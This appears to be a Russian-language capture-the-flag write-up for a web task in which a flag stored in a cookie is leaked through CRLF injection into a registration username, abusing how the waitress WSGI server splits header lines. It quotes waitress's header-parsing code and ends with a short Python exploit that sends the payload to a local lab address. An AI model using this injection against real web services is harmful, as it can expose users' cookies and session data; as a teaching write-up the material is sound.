# WEB-2
Оценка: 20
## Описание
В данном задании необходимо выполнить атаку на взаимодействие между двумя приложениями.
[Файл №1](https://github.com/dered-cybersecurity/nto_2023/blob/main/1-offensive/WEB-2/3d030fce-e045-4ef4-aea4-1044dd676b4c_source.zip)
## Решение
Веб-приложение представляет из себя форму регистрации и входа пользователя (рис. 1).

Рис. 1
## Решение
Участник должен придумать, каким образом можно ликнуть флаг из кук. Сразу же бросается в глаза подключение по TCP сокету.
Заметив, что используется wsgi waitress, участник должен начать исследовать исходный код данного проекта.
```python3
def get_header_lines(header):
"""
Splits the header into lines, putting multi-line headers together.
"""
r = []
lines = header.split(b"\r\n")
for line in lines:
if not line:
continue
if b"\r" in line or b"\n" in line:
raise ParsingError('Bare CR or LF found in header line "%s"' % tostr(line))
if line.startswith((b" ", b"\t")):
if not r:
# https://corte.si/posts/code/pathod/pythonservers/index.html
raise ParsingError('Malformed header line "%s"' % tostr(line))
r[-1] += line
else:
r.append(line)
return r
```
Участник может сделать CRLF-инъекцию, тем самым разделив его имя и флаг на два разных заголовка (для интерпертатора), затем, добавив в строчку с флагом `\r` или `\n` (рис. 2).

Рис. 2
Пример реализации эксплойта для решения:
```python
import requests
URL_BASE = "http://127.0.0.1:3000"
s = requests.Session()
s.post(f"{URL_BASE}/register", data={ "username": "username\r\n\r", "password": "123" })
res = s.get(URL_BASE)
print(res.text)
```